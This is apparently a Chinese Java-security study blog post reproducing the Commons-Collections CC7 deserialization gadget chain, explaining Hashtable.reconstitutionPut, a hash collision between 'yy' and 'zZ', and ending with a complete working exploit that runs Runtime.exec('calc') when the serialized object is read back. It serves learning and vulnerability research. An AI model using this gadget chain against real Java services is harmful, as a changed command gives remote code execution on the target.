JAVA安全学习笔记--Commons-Collections链复现篇(07. CC7链)

CC7链

前言

最后一条CC链,冲就完事了!

CC7链依旧是LazyMap版的CC1的变种,后半条链子就是 LazyMap.get() 的这条链子。这里从逆向分析依旧不好分析,我们尝试根据ysoserial中给出的链子来自己复现出来。

image-20250914152220385

可以发现CC7使用的是Hashtable,而它与我们熟知的HashMap之间有什么联系呢?

Hashtable 的底层存储和 HashMap 本质上是一样的(数组 + 链表),只是 Hashtable 没有红黑树优化、计算 hash 的方式更简单、线程安全实现粗暴(方法级同步)、不允许 null key/value

攻击链分析

  • 我们从Hashtable#readObject开始正向分析

image-20250914164127002

发现在它直接调用了reconstitutionPut方法。

  • 继续跟进

image-20250914164329758

发现调用了equals方法。

如果我们传入key为LazyMap的话,最终会执行AbstractMap下的equals方法。

  • 跟进到AbstractMap#equals

image-20250914165212265

发现其调用了get方法,后续便是CC1的链子了。

所以我们完整的攻击链如下:

Hashtable#readObject    --> Hashtable#reconstitutionPut      --> AbstractMap#equals   --> LazyMap#get
--> ......

分析EXP的编写

这条链子的利用过程其实是有点绕的,我们看看调用的每个方法都干了什么,有什么需要注意的

  • 首先是readObject方法
/**
 * 自定义的反序列化方法,用来恢复 Hashtable 的内部状态。
 * 在 ObjectInputStream.readObject() 过程中会自动调用。
 */
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException
{

    s.defaultReadObject();

    // 2. 读取原始 table 的数组长度和存储的元素数量。
    int origlength = s.readInt();   // 当初序列化时的 table.length
    int elements   = s.readInt();   // 存储的 key/value 对数量

    // 3. 计算新表的大小,稍微比元素多一些,避免马上扩容。
    int length = (int)(elements * loadFactor) + (elements / 20) + 3;

    // 如果 length 大于元素数并且是偶数,就减 1 变成奇数
    // 传统上用奇数大小能减少某些 hash 碰撞。
    if (length > elements && (length & 1) == 0) {
        length--;
    }

    // 如果有记录的原始长度,并且比计算值更小,就使用原始长度
    // 这样避免反序列化后容量比原来还大。
    if (origlength > 0 && length > origlength) {
        length = origlength;
    }

    // 4. 用新计算得到的长度初始化新table,此时table里是没有内容的
    table = new Entry<?,?>[length];

    threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);

    // 6. 元素计数先清零,后面 reconstitutionPut 时再逐个加。
    count = 0;

    // 7. 逐个从输入流读取 key 和 value,并重新插入到 table 中。
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
        K key = (K) s.readObject();    // 读取 key
        @SuppressWarnings("unchecked")
        V value = (V) s.readObject();  // 读取 value

        // 插入到哈希表中(检查重复、计算 hash、建立 Entry)
        reconstitutionPut(table, key, value);
    }
}

概括说就是重构table,然后通过reconstitutionPut重新插入到table里。

  • 下面我们看看reconstitutionPut方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
{
    // Hashtable 不允许 value 为 null,如果遇到就抛异常。
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }

    // 计算 key 的 hash 值
    int hash = key.hashCode();

    // 计算该 key 在数组中的索引位置
    int index = (hash & 0x7FFFFFFF) % tab.length;

    // 遍历该索引已有的键值对,检查是否存在重复 key。
    for (Entry<?,?> e = tab[index]; e != null; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            // 如果 key 已经存在,则序列化数据非法,抛异常。
            throw new java.io.StreamCorruptedException();
        }
    }

    // 没有重复时,插入新的 Entry 节点到链表头。
    @SuppressWarnings("unchecked")
    Entry<K,V> e = (Entry<K,V>) tab[index];
    tab[index] = new Entry<>(hash, key, value, e);

    // 更新元素计数
    count++;
}

这里就很好玩了,根据我们的利用链我们需要执行equals才会继续后面的利用链。

但是我们需要先满足条件e.hash == hash才会执行后面的语句,不然直接返回false了。

也就是说我们需要让table表里有至少两个的hash值相等才行。

需要注意的是,在添加第一个元素时并不会进入if语句调用equals方法进行判断,因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。

  • 所以我们这里至少需要两个map且它们的hash值要一样

这里就涉及hash碰撞的问题了,分析到这光靠自己很难进行下去了,我们去ysoserial官方看看EXP:

image-20250914184018518

可以发现官方使用了"yy"与"zZ"来hash碰撞,我们可以计算测试一下

image-20250914183853853

image-20250914183907108

发现两者的hash值竟然真的相等,利用这两者我们才能进入到equals语句中。

  • 为什么我们需要对lazyMap2删除一个"yy"。

其实我们将这段代码去掉,在序列化的地方设置一个断点调试一下就知道了。

image-20250914191344993

你会发现,decorateMap2的size怎么变成了2并且还弹出了计算器,这你扯不扯?

我们将断点设置到put那一行调试看看发生了什么:

  • 首先我们发现直接调用了LazyMap的equals方法
  • 接着便会跟进到AbstractMap的equals方法
  • 接着便跟进到get方法

image-20250914192536214

在这里找到了decorateMap2里多出来一个"yy"的原因,因为在get方法里判断到lazyMap2里没有"yy"就给他加进去了。

它的size为2会造成什么影响呢?

当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。

image-20250914193223056

因此在构造CC7利用链的payload代码时,Hashtable在添加第二个元素后,lazyMap2需要调用remove方法删除元素yy才能触发漏洞。

lazyMap2.remove("yy");

同时我前面也提到调用put方法也会调用equals方法,然后走到get方法并将链子走完,这就是我们为什么当时调试的时候就弹出计算器的原因。

这里便和以前的解决方案一样,我们给ChainedTransformer初始化的时候先随便设置一个值,在put之后再修改回来即可。

最终EXP

所以最终的EXP如下:

package com.test.cc7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class test {
public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
        new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke"
        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        HashMap<Object, Object> hashMap1 = new HashMap<>();
        HashMap<Object, Object> hashMap2 = new HashMap<>();
        Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
        decorateMap1.put("yy", 1);
        Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
        decorateMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(decorateMap1, 1);
        hashtable.put(decorateMap2, 1);
        decorateMap2.remove("yy");

        Class c = ChainedTransformer.class;
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers);

        serialize(hashtable);
        unserialize("ser.bin");
        }
public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
        }
        }

运行效果如下:

image-20250914194315951

成功弹出计算器!

小结

学完CC7是不是发现链子其实也很简单,就是要满足利用条件有点绕,有个hash碰撞在里面还是很有意思的。

依旧画图总结一下:

image-20250914195324225

至此CC的七条链子就全都学完了,完结撒花❀

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注